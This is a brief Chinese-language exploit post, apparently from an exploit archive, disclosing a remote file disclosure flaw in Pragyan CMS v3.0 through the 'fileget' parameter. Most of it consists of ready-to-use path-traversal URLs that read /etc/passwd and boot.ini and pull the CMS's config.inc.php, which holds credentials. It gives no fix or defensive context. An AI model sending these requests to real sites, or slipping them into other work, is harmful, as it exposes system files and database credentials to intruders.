标题：Pragyan CMS v 3.0 => [Remote File Disclosure]
作者  Or4nG.M4n
下载地址 http://space.dl.sourceforge.net/project/pragyan/pragyan/3.0/PragyanCMS-v3.0-beta.tar.bz2
 
缺陷位置
download.lib.php line 16

index.php line 234
 
$_GET['fileget']
 
测试

  http://www.2cto.com /Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../  etc/passwd . boot.ini
 
下载 Config file
exploit  /Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../appserv/www/Pragyan/cms/config.inc.php

测试

/Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../home/exploitdb/public_html/Pragyan/cms/config.inc.php